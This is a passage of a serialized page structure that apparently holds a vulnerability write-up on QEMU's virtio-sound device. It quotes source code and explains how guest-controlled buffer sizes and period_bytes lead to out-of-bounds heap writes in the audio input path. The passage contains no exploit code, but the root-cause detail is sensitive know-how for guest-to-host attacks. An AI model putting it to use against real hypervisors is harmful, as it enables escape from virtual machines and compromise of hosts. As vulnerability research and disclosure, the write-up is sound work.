",{"type":25,"tag":271,"props":137287,"children":137288},{"style":13603},[137289],{"type":30,"value":1065},{"type":25,"tag":271,"props":137291,"children":137292},{"style":13625},[137293],{"type":30,"value":137294}," data;\n",{"type":25,"tag":271,"props":137296,"children":137297},{"class":13593,"line":16486},[137298,137303,137307],{"type":25,"tag":271,"props":137299,"children":137300},{"style":13625},[137301],{"type":30,"value":137302},"    VirtIOSoundPCMBuffer ",{"type":25,"tag":271,"props":137304,"children":137305},{"style":13603},[137306],{"type":30,"value":17702},{"type":25,"tag":271,"props":137308,"children":137309},{"style":13625},[137310],{"type":30,"value":137311},"buffer;\n",{"type":25,"tag":271,"props":137313,"children":137314},{"class":13593,"line":16495},[137315,137319],{"type":25,"tag":271,"props":137316,"children":137317},{"style":14289},[137318],{"type":30,"value":29687},{"type":25,"tag":271,"props":137320,"children":137321},{"style":13625},[137322],{"type":30,"value":137323}," size, max_size;\n",{"type":25,"tag":271,"props":137325,"children":137326},{"class":13593,"line":16744},[137327],{"type":25,"tag":271,"props":137328,"children":137329},{"emptyLinePlaceholder":18},[137330],{"type":30,"value":16829},{"type":25,"tag":271,"props":137332,"children":137333},{"class":13593,"line":16761},[137334,137339,137343,137347,137351,137355,137359],{"type":25,"tag":271,"props":137335,"children":137336},{"style":13620},[137337],{"type":30,"value":137338},"    WITH_QEMU_LOCK_GUARD",{"type":25,"tag":271,"props":137340,"children":137341},{"style":13625},[137342],{"type":30,"value":394},{"type":25,"tag":271,"props":137344,"children":137345},{"style":13603},[137346],{"type":30,"value":13632},{"type":25,"tag":271,"props":137348,"children":137349},{"style":13598},[137350],{"type":30,"value":49373},{"type":25,"tag":271,"props":137352,"children":137353},{"style":13625},[137354],{"type":30,"value":14411},{"type":25,"tag":271,"props":137356,"children":137357},{"style":13598},[137358],{"type":30,"value":136515},{"type":25,"tag":271,"props":137360,"children":137361},{"style":13625},[137362],{"type":30,"value":27925},{"type":25,"tag":271,"props":137364,"children":137365},{"class":13593,"line":16778},[137366,137371,137375,137379,137384,137388,137392,137396,137400,137404],{"type":25,"tag":271,"props":137367,"children":137368},{"style":16171},[137369],{"type":30,"value":137370},"        while",{"type":25,"tag":271,"props":137372,"children":137373},{"style":13625},[137374],{"type":30,"value":16213},{"type":25,"tag":271,"props":137376,"children":137377},{"style":13603},[137378],{"type":30,"value":33742},{"type":25,"tag":271,"props":137380,"children":137381},{"style":13620},[137382],{"type":30,"value":137383},"QSIMPLEQ_EMPTY",{"type":25,"tag":271,"props":137385,"children":137386},{"style":13625},[137387],{"type":30,"value":394},{"type":25,"tag":271,"props":137389,"children":137390},{"style":13603},[137391],{"type":30,"value":13632},{"type":25,"tag":271,"props":137393,"children":137394},{"style":13598},[137395],{"type":30,"value":49373},{"type":25,"tag":271,"props":137397,"children":137398},{"style":13625},[137399],{"type":30,"value":14411},{"type":25,"tag":271,"props":137401,"children":137402},{"style":13598},[137403],{"type":30,"value":136768},{"type":25,"tag":271,"props":137405,"children":137406},{"style":13625},[137407],{"type":30,"value":48305},{"type":25,"tag":271,"props":137409,"children":137410},{"class":13593,"line":16791},[137411,137415,137419,137424,137428,137432,137436,137440,137444],{"type":25,"tag":271,"props":137412,"children":137413},{"style":13625},[137414],{"type":30,"value":136604},{"type":25,"tag":271,"props":137416,"children":137417},{"style":13603},[137418],{"type":30,"value":1065},{"type":25,"tag":271,"props":137420,"children":137421},{"style":13620},[137422],{"type":30,"value":137423}," QSIMPLEQ_FIRST",{"type":25,"tag":271,"props":137425,"children":137426},{"style":13625},[137427],{"type":30,"value":394},{"type":25,"tag":271,"props":137429,"children":137430},{"style":13603},[137431],{"type":30,"value":13632},{"type":25,"tag":271,"props":137433,"children":137434},{"style":13598},[137435],{"type":30,"value":49373},{"type":25,"tag":271,"props":137437,"children":137438},{"style":13625},[137439],{"type":30,"value":14411},{"type":25,"tag":271,"props":137441,"children":137442},{"style":13598},[137443],{"type":30,"value":136768},{"type":25,"tag":271,"props":137445,"children":137446},{"style":13625},[137447],{"type":30,"value":13665},{"type":25,"tag":271,"props":137449,"children":137450},{"class":13593,"line":16800},[137451],{"type":25,"tag":271,"props":137452,"children":137453},{"emptyLinePlaceholder":18},[137454],{"type":30,"value":16829},{"type":25,"tag":271,"props":137456,"children":137457},{"class":13593,"line":16823},[137458],{"type":25,"tag":271,"props":137459,"children":137460},{"style":13625},[137461],{"type":30,"value":137462},"            [...]\n",{"type":25,"tag":271,"props":137464,"children":137465},{"class":13593,"line":16832},[137466],{"type":25,"tag":271,"props":137467,"children":137468},{"emptyLinePlaceholder":18},[137469],{"type":30,"value":16829},{"type":25,"tag":271,"props":137471,"children":137472},{"class":13593,"line":16841},[137473,137478,137482,137486,137490],{"type":25,"tag":271,"props":137474,"children":137475},{"style":13625},[137476],{"type":30,"value":137477},"            max_size ",{"type":25,"tag":271,"props":137479,"children":137480},{"style":13603},[137481],{"type":30,"value":1065},{"type":25,"tag":271,"props":137483,"children":137484},{"style":13620},[137485],{"type":30,"value":136536},{"type":25,"tag":271,"props":137487,"children":137488},{"style":13625},[137489],{"type":30,"value":394},{"type":25,"tag":271,"props":137491,"children":137492},{"style":14385},[137493],{"type":30,"value":137494},"                    // [1]\n",{"type":25,"tag":271,"props":137496,"children":137497},{"class":13593,"line":16907},[137498,137503,137507,137511,137515,137519],{"type":25,"tag":271,"props":137499,"children":137500},{"style":13598},[137501],{"type":30,"value":137502},"                buffer",{"type":25,"tag":271,"props":137504,"children":137505},{"style":13625},[137506],{"type":30,"value":14411},{"type":25,"tag":271,"props":137508,"children":137509},{"style":13598},[137510],{"type":30,"value":65180},{"type":25,"tag":271,"props":137512,"children":137513},{"style":13625},[137514],{"type":30,"value":14411},{"type":25,"tag":271,"props":137516,"children":137517},{"style":13598},[137518],{"type":30,"value":136553},{"type":25,"tag":271,"props":137520,"children":137521},{"style":13625},[137522],{"type":30,"value":14351},{"type":25,"tag":271,"props":137524,"children":137525},{"class":13593,"line":16915},[137526,137530,137534,137538,137542],{"type":25,"tag":271,"props":137527,"children":137528},{"style":13598},[137529],{"type":30,"value":137502},{"type":25,"tag":271,"props":137531,"children":137532},{"style":13625},[137533],{"type":30,"value":14411},{"type":25,"tag":271,"props":137535,"children":137536},{"style":13598},[137537],{"type":30,"value":65180},{"type":25,"tag":271,"props":137539,"children":137540},{"style":13625},[137541],{"type":30,"value":14411},{"type":25,"tag":271,"props":137543,"children":137544},{"style":13598},[137545],{"type":30,"value":137546},"in_num\n",{"type":25,"tag":271,"props":137548,"children":137549},{"class":13593,"line":16945},[137550],{"type":25,"tag":271,"props":137551,"children":137552},{"style":13625},[137553],{"type":30,"value":137554},"            );\n",{"type":25,"tag":271,"props":137556,"children":137557},{"class":13593,"line":16953},[137558,137563],{"type":25,"tag":271,"props":137559,"children":137560},{"style":16171},[137561],{"type":30,"value":137562},"            for",{"type":25,"tag":271,"props":137564,"children":137565},{"style":13625},[137566],{"type":30,"value":136366},{"type":25,"tag":271,"props":137568,"children":137569},{"class":13593,"line":16984},[137570,137574,137578,137583,137587,137591,137595,137600],{"type":25,"tag":271,"props":137571,"children":137572},{"style":16171},[137573],{"type":30,"value":116614},{"type":25,"tag":271,"props":137575,"children":137576},{"style":13625},[137577],{"type":30,"value":16213},{"type":25,"tag":271,"props":137579,"children":137580},{"style":13598},[137581],{"type":30,"value":137582},"buffer",{"type":25,"tag":271,"props":137584,"children":137585},{"style":13625},[137586],{"type":30,"value":14411},{"type":25,"tag":271,"props":137588,"children":137589},{"style":13598},[137590],{"type":30,"value":136700},{"type":25,"tag":271,"props":137592,"children":137593},{"style":13603},[137594],{"type":30,"value":21423},{"type":25,"tag":271,"props":137596,"children":137597},{"style":13625},[137598],{"type":30,"value":137599}," max_size) {",{"type":25,"tag":271,"props":137601,"children":137602},{"style":14385},[137603],{"type":30,"value":137604},"     // [2]\n",{"type":25,"tag":271,"props":137606,"children":137607},{"class":13593,"line":16992},[137608,137613],{"type":25,"tag":271,"props":137609,"children":137610},{"style":13620},[137611],{"type":30,"value":137612},"                    return_rx_buffer",{"type":25,"tag":271,"props":137614,"children":137615},{"style":13625},[137616],{"type":30,"value":137617},"(stream, buffer);\n",{"type":25,"tag":271,"props":137619,"children":137620},{"class":13593,"line":17052},[137621,137626],{"type":25,"tag":271,"props":137622,"children":137623},{"style":16171},[137624],{"type":30,"value":137625},"                    break",{"type":25,"tag":271,"props":137627,"children":137628},{"style":13625},[137629],{"type":30,"value":16165},{"type":25,"tag":271,"props":137631,"children":137632},{"class":13593,"line":22168},[137633],{"type":25,"tag":271,"props":137634,"children":137635},{"style":13625},[137636],{"type":30,"value":84185},{"type":25,"tag":271,"props":137638,"children":137639},{"class":13593,"line":22186},[137640,137645,137649,137654,137658,137662,137666,137671,137675,137679],{"type":25,"tag":271,"props":137641,"children":137642},{"style":13625},[137643],{"type":30,"value":137644},"                size ",{"type":25,"tag":271,"props":137646,"children":137647},{"style":13603},[137648],{"type":30,"value":1065},{"type":25,"tag":271,"props":137650,"children":137651},{"style":13620},[137652],{"type":30,"value":137653}," AUD_read",{"type":25,"tag":271,"props":137655,"children":137656},{"style":13625},[137657],{"type":30,"value":394},{"type":25,"tag":271,"props":137659,"children":137660},{"style":13598},[137661],{"type":30,"value":49373},{"type":25,"tag":271,"props":137663,"children":137664},{"style":13625},[137665],{"type":30,"value":14411},{"type":25,"tag":271,"props":137667,"children":137668},{"style":13598},[137669],{"type":30,"value":137670},"voice",{"type":25,"tag":271,"props":137672,"children":137673},{"style":13625},[137674],{"type":30,"value":1860},{"type":25,"tag":271,"props":137676,"children":137677},{"style":13598},[137678],{"type":30,"value":108593},{"type":25,"tag":271,"props":137680,"children":137681},{"style":13625},[137682],{"type":30,"value":14351},{"type":25,"tag":271,"props":137684,"children":137685},{"class":13593,"line":22231},[137686,137691,137695,137699,137703,137708,137712,137716],{"type":25,"tag":271,"props":137687,"children":137688},{"style":13598},[137689],{"type":30,"value":137690},"                        buffer",{"type":25,"tag":271,"props":137692,"children":137693},{"style":13625},[137694],{"type":30,"value":14411},{"type":25,"tag":271,"props":137696,"children":137697},{"style":13598},[137698],{"type":30,"value":10346},{"type":25,"tag":271,"props":137700,"children":137701},{"style":13603},[137702],{"type":30,"value":22025},{"type":25,"tag":271,"props":137704,"children":137705},{"style":13598},[137706],{"type":30,"value":137707}," buffer",{"type":25,"tag":271,"props":137709,"children":137710},{"style":13625},[137711],{"type":30,"value":14411},{"type":25,"tag":271,"props":137713,"children":137714},{"style":13598},[137715],{"type":30,"value":136700},{"type":25,"tag":271,"props":137717,"children":137718},{"style":13625},[137719],{"type":30,"value":14351},{"type":25,"tag":271,"props":137721,"children":137722},{"class":13593,"line":22337},[137723,137728,137733,137737,137741,137745,137749,137754,137758],{"type":25,"tag":271,"props":137724,"children":137725},{"style":13620},[137726],{"type":30,"value":137727},"                        MIN",{"type":25,"tag":271,"props":137729,"children":137730},{"style":13625},[137731],{"type":30,"value":137732},"(available, (",{"type":25,"tag":271,"props":137734,"children":137735},{"style":13598},[137736],{"type":30,"value":49373},{"type":25,"tag":271,"props":137738,"children":137739},{"style":13625},[137740],{"type":30,"value":14411},{"type":25,"tag":271,"props":137742,"children":137743},{"style":13598},[137744],{"type":30,"value":111376},{"type":25,"tag":271,"props":137746,"children":137747},{"style":13625},[137748],{"type":30,"value":1860},{"type":25,"tag":271,"props":137750,"children":137751},{"style":13598},[137752],{"type":30,"value":137753},"period_bytes",{"type":25,"tag":271,"props":137755,"children":137756},{"style":13603},[137757],{"type":30,"value":64371},{"type":25,"tag":271,"props":137759,"children":137760},{"style":14385},[137761],{"type":30,"value":137762},"     // [3]\n",{"type":25,"tag":271,"props":137764,"children":137765},{"class":13593,"line":36608},[137766,137771,137775,137779],{"type":25,"tag":271,"props":137767,"children":137768},{"style":13598},[137769],{"type":30,"value":137770},"                                        buffer",{"type":25,"tag":271,"props":137772,"children":137773},{"style":13625},[137774],{"type":30,"value":14411},{"type":25,"tag":271,"props":137776,"children":137777},{"style":13598},[137778],{"type":30,"value":136700},{"type":25,"tag":271,"props":137780,"children":137781},{"style":13625},[137782],{"type":30,"value":137783},")));\n",{"type":25,"tag":271,"props":137785,"children":137786},{"class":13593,"line":36643},[137787,137791,137795,137799],{"type":25,"tag":271,"props":137788,"children":137789},{"style":16171},[137790],{"type":30,"value":116614},{"type":25,"tag":271,"props":137792,"children":137793},{"style":13625},[137794],{"type":30,"value":16213},{"type":25,"tag":271,"props":137796,"children":137797},{"style":13603},[137798],{"type":30,"value":33742},{"type":25,"tag":271,"props":137800,"children":137801},{"style":13625},[137802],{"type":30,"value":137803},"size) {\n",{"type":25,"tag":271,"props":137805,"children":137806},{"class":13593,"line":36651},[137807,137812,137816,137820],{"type":25,"tag":271,"props":137808,"children":137809},{"style":13625},[137810],{"type":30,"value":137811},"                    available ",{"type":25,"tag":271,"props":137813,"children":137814},{"style":13603},[137815],{"type":30,"value":1065},{"type":25,"tag":271,"props":137817,"children":137818},{"style":16187},[137819],{"type":30,"value":16190},{"type":25,"tag":271,"props":137821,"children":137822},{"style":13625},[137823],{"type":30,"value":16165},{"type":25,"tag":271,"props":137825,"children":137826},{"class":13593,"line":36659},[137827,137831],{"type":25,"tag":271,"props":137828,"children":137829},{"style":16171},[137830],{"type":30,"value":137625},{"type":25,"tag":271,"props":137832,"children":137833},{"style":13625},[137834],{"type":30,"value":16165},{"type":25,"tag":271,"props":137836,"children":137837},{"class":13593,"line":36668},[137838],{"type":25,"tag":271,"props":137839,"children":137840},{"style":13625},[137841],{"type":30,"value":84185},{"type":25,"tag":271,"props":137843,"children":137844},{"class":13593,"line":36710},[137845,137849,137853,137857,137861],{"type":25,"tag":271,"props":137846,"children":137847},{"style":13598},[137848],{"type":30,"value":137502},{"type":25,"tag":271,"props":137850,"children":137851},{"style":13625},[137852],{"type":30,"value":14411},{"type":25,"tag":271,"props":137854,"children":137855},{"style":13598},[137856],{"type":30,"value":136700},{"type":25,"tag":271,"props":137858,"children":137859},{"style":13603},[137860],{"type":30,"value":28186},{"type":25,"tag":271,"props":137862,"children":137863},{"style":13625},[137864],{"type":30,"value":137042},{"type":25,"tag":271,"props":137866,"children":137867},{"class":13593,"line":36743},[137868,137873,137877],{"type":25,"tag":271,"props":137869,"children":137870},{"style":13625},[137871],{"type":30,"value":137872},"                available ",{"type":25,"tag":271,"props":137874,"children":137875},{"style":13603},[137876],{"type":30,"value":117079},{"type":25,"tag":271,"props":137878,"children":137879},{"style":13625},[137880],{"type":30,"value":137042},{"type":25,"tag":271,"props":137882,"children":137883},{"class":13593,"line":36751},[137884],{"type":25,"tag":271,"props":137885,"children":137886},{"style":13625},[137887],{"type":30,"value":137888},"                [...]\n",{"type":25,"tag":271,"props":137890,"children":137891},{"class":13593,"line":36759},[137892],{"type":25,"tag":271,"props":137893,"children":137894},{"style":13625},[137895],{"type":30,"value":72000},{"type":25,"tag":271,"props":137897,"children":137898},{"class":13593,"line":36768},[137899],{"type":25,"tag":271,"props":137900,"children":137901},{"style":13625},[137902],{"type":30,"value":16492},{"type":25,"tag":271,"props":137904,"children":137905},{"class":13593,"line":36844},[137906],{"type":25,"tag":271,"props":137907,"children":137908},{"style":13625},[137909],{"type":30,"value":16501},{"type":25,"tag":271,"props":137911,"children":137912},{"class":13593,"line":36877},[137913],{"type":25,"tag":271,"props":137914,"children":137915},{"style":13625},[137916],{"type":30,"value":17058},{"type":25,"tag":26,"props":137918,"children":137919},{},[137920,137921,137926,137927,137933,137935,137941,137943,137948,137949,137954,137956,137961],{"type":30,"value":136822},{"type":25,"tag":264,"props":137922,"children":137924},{"className":137923},[],[137925],{"type":30,"value":136828},{"type":30,"value":44},{"type":25,"tag":264,"props":137928,"children":137930},{"className":137929},[],[137931],{"type":30,"value":137932},"max_size",{"type":30,"value":137934}," is set to ",{"type":25,"tag":264,"props":137936,"children":137938},{"className":137937},[],[137939],{"type":30,"value":137940},"iov_size(in_sg, in_num)",{"type":30,"value":137942},". Both ",{"type":25,"tag":264,"props":137944,"children":137946},{"className":137945},[],[137947],{"type":30,"value":136553},{"type":30,"value":12218},{"type":25,"tag":264,"props":137950,"children":137952},{"className":137951},[],[137953],{"type":30,"value":136570},{"type":30,"value":137955}," are the same guest-controlled fields from ",{"type":25,"tag":264,"props":137957,"children":137959},{"className":137958},[],[137960],{"type":30,"value":136205},{"type":30,"value":1860},{"type":25,"tag":26,"props":137963,"children":137964},{},[137965,137967,137972,137974,137980,137982,137988,137990,137996],{"type":30,"value":137966},"Later, at ",{"type":25,"tag":264,"props":137968,"children":137970},{"className":137969},[],[137971],{"type":30,"value":136863},{"type":30,"value":137973},", the code checks whether ",{"type":25,"tag":264,"props":137975,"children":137977},{"className":137976},[],[137978],{"type":30,"value":137979},"buffer->size >= max_size",{"type":30,"value":137981},". In the RX path, ",{"type":25,"tag":264,"props":137983,"children":137985},{"className":137984},[],[137986],{"type":30,"value":137987},"buffer->size",{"type":30,"value":137989}," tracks how many bytes have been written into ",{"type":25,"tag":264,"props":137991,"children":137993},{"className":137992},[],[137994],{"type":30,"value":137995},"buffer->data",{"type":30,"value":137997},", not the size of the allocation itself. This check is therefore intended to stop reading once the buffer is full.",{"type":25,"tag":26,"props":137999,"children":138000},{},[138001,138003,138008,138010,138016,138018,138023,138025,138031],{"type":30,"value":138002},"However, this does not match the allocation logic in ",{"type":25,"tag":264,"props":138004,"children":138006},{"className":138005},[],[138007],{"type":30,"value":136205},{"type":30,"value":138009},", which used: ",{"type":25,"tag":264,"props":138011,"children":138013},{"className":138012},[],[138014],{"type":30,"value":138015},"size = iov_size(elem->in_sg, elem->in_num) - sizeof(virtio_snd_pcm_status);",{"type":30,"value":138017},". In other words, the allocation subtracts ",{"type":25,"tag":264,"props":138019,"children":138021},{"className":138020},[],[138022],{"type":30,"value":136929},{"type":30,"value":138024},", but the later bound in ",{"type":25,"tag":264,"props":138026,"children":138028},{"className":138027},[],[138029],{"type":30,"value":138030},"virtio_snd_pcm_in_cb",{"type":30,"value":138032}," does not. That mismatch gives us a second bug: an 8-byte OOB write.",{"type":25,"tag":26,"props":138034,"children":138035},{},[138036,138038,138043,138045,138051,138053,138059,138061,138066,138068,138074,138076,138082,138084,138089,138091,138096],{"type":30,"value":138037},"Finally, at ",{"type":25,"tag":264,"props":138039,"children":138041},{"className":138040},[],[138042],{"type":30,"value":136887},{"type":30,"value":138044},", the code calls ",{"type":25,"tag":264,"props":138046,"children":138048},{"className":138047},[],[138049],{"type":30,"value":138050},"AUD_read",{"type":30,"value":138052}," with the following limit:\n",{"type":25,"tag":264,"props":138054,"children":138056},{"className":138055},[],[138057],{"type":30,"value":138058},"MIN(available, stream->params.period_bytes - buffer->size)",{"type":30,"value":138060},". Notice how this bound does not take ",{"type":25,"tag":264,"props":138062,"children":138064},{"className":138063},[],[138065],{"type":30,"value":137932},{"type":30,"value":138067}," into account at all. That means if ",{"type":25,"tag":264,"props":138069,"children":138071},{"className":138070},[],[138072],{"type":30,"value":138073},"available",{"type":30,"value":138075}," is larger than the allocated buffer, and ",{"type":25,"tag":264,"props":138077,"children":138079},{"className":138078},[],[138080],{"type":30,"value":138081},"stream->params.period_bytes",{"type":30,"value":138083}," is also larger than the allocated buffer, ",{"type":25,"tag":264,"props":138085,"children":138087},{"className":138086},[],[138088],{"type":30,"value":138050},{"type":30,"value":138090}," will write past the end of ",{"type":25,"tag":264,"props":138092,"children":138094},{"className":138093},[],[138095],{"type":30,"value":137995},{"type":30,"value":138097}," - the third, and final, bug we found.",{"type":25,"tag":26,"props":138099,"children":138100},{},[138101,138103,138108,138110,138116],{"type":30,"value":138102},"Looking further at the code, we can see that ",{"type":25,"tag":264,"props":138104,"children":138106},{"className":138105},[],[138107],{"type":30,"value":138081},{"type":30,"value":138109}," is fully guest-controlled by issuing a ",{"type":25,"tag":264,"props":138111,"children":138113},{"className":138112},[],[138114],{"type":30,"value":138115},"VIRTIO_SND_R_PCM_SET_PARAMS",{"type":30,"value":138117}," request:",{"type":25,"tag":7764,"props":138119,"children":138121},{"code":138120,"language":13243,"meta":7,"className":29637,"style":7},"static\nuint32_t virtio_snd_set_pcm_params(VirtIOSound *s,\n                                   uint32_t stream_id,\n                                   virtio_snd_pcm_set_params *params)\n{\n    virtio_snd_pcm_set_params *st_params;\n\n    [...]\n\n    st_params = virtio_snd_pcm_get_params(s, stream_id);\n\n    [...]\n\n    st_params->buffer_bytes = le32_to_cpu(params->buffer_bytes);\n    st_params->period_bytes = le32_to_cpu(params->period_bytes);\n    st_params->features = le32_to_cpu(params->features);\n    /* the following are uint8_t, so there's no need to bswap the values. */\n    st_params->channels = params->channels;\n    st_params->format = params->format;\n    st_params->rate = params->rate;\n\n    return cpu_to_le32(VIRTIO_SND_S_OK);\n}\n",[138122],{"type":25,"tag":264,"props":138123,"children":138124},{"__ignoreMap":7},[138125,138133,138162,138179,138199,138206,138223,138230,138237,138244,138266,138273,138280,138287,138333,138376,138420,138428,138465,138501,138537,138544,138561],{"type":25,"tag":271,"props":138126,"children":138127},{"class":13593,"line":13594},[138128],{"type":25,"tag":271,"props":138129,"children":138130},{"style":14289},[138131],{"type":30,"value":138132},"static\n",{"type":25,"tag":271,"props":138134,"children":138135},{"class":13593,"line":11641},[138136,138140,138145,138150,138154,138158],{"type":25,"tag":271,"props":138137,"children":138138},{"style":14289},[138139],{"type":30,"value":71048},{"type":25,"tag":271,"props":138141,"children":138142},{"style":13620},[138143],{"type":30,"value":138144}," virtio_snd_set_pcm_params",{"type":25,"tag":271,"props":138146,"children":138147},{"style":13625},[138148],{"type":30,"value":138149},"(VirtIOSound ",{"type":25,"tag":271,"props":138151,"children":138152},{"style":13603},[138153],{"type":30,"value":17702},{"type":25,"tag":271,"props":138155,"children":138156},{"style":13598},[138157],{"type":30,"value":23776},{"type":25,"tag":271,"props":138159,"children":138160},{"style":13625},[138161],{"type":30,"value":14351},{"type":25,"tag":271,"props":138163,"children":138164},{"class":13593,"line":14354},[138165,138170,138175],{"type":25,"tag":271,"props":138166,"children":138167},{"style":14289},[138168],{"type":30,"value":138169},"                                   uint32_t",{"type":25,"tag":271,"props":138171,"children":138172},{"style":13598},[138173],{"type":30,"value":138174}," stream_id",{"type":25,"tag":271,"props":138176,"children":138177},{"style":13625},[138178],{"type":30,"value":14351},{"type":25,"tag":271,"props":138180,"children":138181},{"class":13593,"line":14391},[138182,138187,138191,138195],{"type":25,"tag":271,"props":138183,"children":138184},{"style":13625},[138185],{"type":30,"value":138186},"                                   virtio_snd_pcm_set_params ",{"type":25,"tag":271,"props":138188,"children":138189},{"style":13603},[138190],{"type":30,"value":17702},{"type":25,"tag":271,"props":138192,"children":138193},{"style":13598},[138194],{"type":30,"value":111376},{"type":25,"tag":271,"props":138196,"children":138197},{"style":13625},[138198],{"type":30,"value":16299},{"type":25,"tag":271,"props":138200,"children":138201},{"class":13593,"line":14400},[138202],{"type":25,"tag":271,"props":138203,"children":138204},{"style":13625},[138205],{"type":30,"value":24005},{"type":25,"tag":271,"props":138207,"children":138208},{"class":13593,"line":16406},[138209,138214,138218],{"type":25,"tag":271,"props":138210,"children":138211},{"style":13625},[138212],{"type":30,"value":138213},"    virtio_snd_pcm_set_params ",{"type":25,"tag":271,"props":138215,"children":138216},{"style":13603},[138217],{"type":30,"value":17702},{"type":25,"tag":271,"props":138219,"children":138220},{"style":13625},[138221],{"type":30,"value":138222},"st_params;\n",{"type":25,"tag":271,"props":138224,"children":138225},{"class":13593,"line":16434},[138226],{"type":25,"tag":271,"props":138227,"children":138228},{"emptyLinePlaceholder":18},[138229],{"type":30,"value":16829},{"type":25,"tag":271,"props":138231,"children":138232},{"class":13593,"line":16447},[138233],{"type":25,"tag":271,"props":138234,"children":138235},{"style":13625},[138236],{"type":30,"value":117894},{"type":25,"tag":271,"props":138238,"children":138239},{"class":13593,"line":16465},[138240],{"type":25,"tag":271,"props":138241,"children":138242},{"emptyLinePlaceholder":18},[138243],{"type":30,"value":16829},{"type":25,"tag":271,"props":138245,"children":138246},{"class":13593,"line":16486},[138247,138252,138256,138261],{"type":25,"tag":271,"props":138248,"children":138249},{"style":13625},[138250],{"type":30,"value":138251},"    st_params ",{"type":25,"tag":271,"props":138253,"children":138254},{"style":13603},[138255],{"type":30,"value":1065},{"type":25,"tag":271,"props":138257,"children":138258},{"style":13620},[138259],{"type":30,"value":138260}," virtio_snd_pcm_get_params",{"type":25,"tag":271,"props":138262,"children":138263},{"style":13625},[138264],{"type":30,"value":138265},"(s, stream_id);\n",{"type":25,"tag":271,"props":138267,"children":138268},{"class":13593,"line":16495},[138269],{"type":25,"tag":271,"props":138270,"children":138271},{"emptyLinePlaceholder":18},[138272],{"type":30,"value":16829},{"type":25,"tag":271,"props":138274,"children":138275},{"class":13593,"line":16744},[138276],{"type":25,"tag":271,"props":138277,"children":138278},{"style":13625},[138279],{"type":30,"value":117894},{"type":25,"tag":271,"props":138281,"children":138282},{"class":13593,"line":16761},[138283],{"type":25,"tag":271,"props":138284,"children":138285},{"emptyLinePlaceholder":18},[138286],{"type":30,"value":16829},{"type":25,"tag":271,"props":138288,"children":138289},{"class":13593,"line":16778},[138290,138295,138299,138304,138308,138313,138317,138321,138325,138329],{"type":25,"tag":271,"props":138291,"children":138292},{"style":13598},[138293],{"type":30,"value":138294},"    st_params",{"type":25,"tag":271,"props":138296,"children":138297},{"style":13625},[138298],{"type":30,"value":14411},{"type":25,"tag":271,"props":138300,"children":138301},{"style":13598},[138302],{"type":30,"value":138303},"buffer_bytes",{"type":25,"tag":271,"props":138305,"children":138306},{"style":13603},[138307],{"type":30,"value":16155},{"type":25,"tag":271,"props":138309,"children":138310},{"style":13620},[138311],{"type":30,"value":138312}," le32_to_cpu",{"type":25,"tag":271,"props":138314,"children":138315},{"style":13625},[138316],{"type":30,"value":394},{"type":25,"tag":271,"props":138318,"children":138319},{"style":13598},[138320],{"type":30,"value":111376},{"type":25,"tag":271,"props":138322,"children":138323},{"style":13625},[138324],{"type":30,"value":14411},{"type":25,"tag":271,"props":138326,"children":138327},{"style":13598},[138328],{"type":30,"value":138303},{"type":25,"tag":271,"props":138330,"children":138331},{"style":13625},[138332],{"type":30,"value":13665},{"type":25,"tag":271,"props":138334,"children":138335},{"class":13593,"line":16791},[138336,138340,138344,138348,138352,138356,138360,138364,138368,138372],{"type":25,"tag":271,"props":138337,"children":138338},{"style":13598},[138339],{"type":30,"value":138294},{"type":25,"tag":271,"props":138341,"children":138342},{"style":13625},[138343],{"type":30,"value":14411},{"type":25,"tag":271,"props":138345,"children":138346},{"style":13598},[138347],{"type":30,"value":137753},{"type":25,"tag":271,"props":138349,"children":138350},{"style":13603},[138351],{"type":30,"value":16155},{"type":25,"tag":271,"props":138353,"children":138354},{"style":13620},[138355],{"type":30,"value":138312},{"type":25,"tag":271,"props":138357,"children":138358},{"style":13625},[138359],{"type":30,"value":394},{"type":25,"tag":271,"props":138361,"children":138362},{"style":13598},[138363],{"type":30,"value":111376},{"type":25,"tag":271,"props":138365,"children":138366},{"style":13625},[138367],{"type":30,"value":14411},{"type":25,"tag":271,"props":138369,"children":138370},{"style":13598},[138371],{"type":30,"value":137753},{"type":25,"tag":271,"props":138373,"children":138374},{"style":13625},[138375],{"type":30,"value":13665},{"type":25,"tag":271,"props":138377,"children":138378},{"class":13593,"line":16800},[138379,138383,138387,138392,138396,138400,138404,138408,138412,138416],{"type":25,"tag":271,"props":138380,"children":138381},{"style":13598},[138382],{"type":30,"value":138294},{"type":25,"tag":271,"props":138384,"children":138385},{"style":13625},[138386],{"type":30,"value":14411},{"type":25,"tag":271,"props":138388,"children":138389},{"style":13598},[138390],{"type":30,"value":138391},"features",{"type":25,"tag":271,"props":138393,"children":138394},{"style":13603},[138395],{"type":30,"value":16155},{"type":25,"tag":271,"props":138397,"children":138398},{"style":13620},[138399],{"type":30,"value":138312},{"type":25,"tag":271,"props":138401,"children":138402},{"style":13625},[138403],{"type":30,"value":394},{"type":25,"tag":271,"props":138405,"children":138406},{"style":13598},[138407],{"type":30,"value":111376},{"type":25,"tag":271,"props":138409,"children":138410},{"style":13625},[138411],{"type":30,"value":14411},{"type":25,"tag":271,"props":138413,"children":138414},{"style":13598},[138415],{"type":30,"value":138391},{"type":25,"tag":271,"props":138417,"children":138418},{"style":13625},[138419],{"type":30,"value":13665},{"type":25,"tag":271,"props":138421,"children":138422},{"class":13593,"line":16823},[138423],{"type":25,"tag":271,"props":138424,"children":138425},{"style":14385},[138426],{"type":30,"value":138427},"    /* the following are uint8_t, so there's no need to bswap the values. */\n",{"type":25,"tag":271,"props":138429,"children":138430},{"class":13593,"line":16832},[138431,138435,138439,138444,138448,138453,138457,138461],{"type":25,"tag":271,"props":138432,"children":138433},{"style":13598},[138434],{"type":30,"value":138294},{"type":25,"tag":271,"props":138436,"children":138437},{"style":13625},[138438],{"type":30,"value":14411},{"type":25,"tag":271,"props":138440,"children":138441},{"style":13598},[138442],{"type":30,"value":138443},"channels",{"type":25,"tag":271,"props":138445,"children":138446},{"style":13603},[138447],{"type":30,"value":16155},{"type":25,"tag":271,"props":138449,"children":138450},{"style":13598},[138451],{"type":30,"value":138452}," 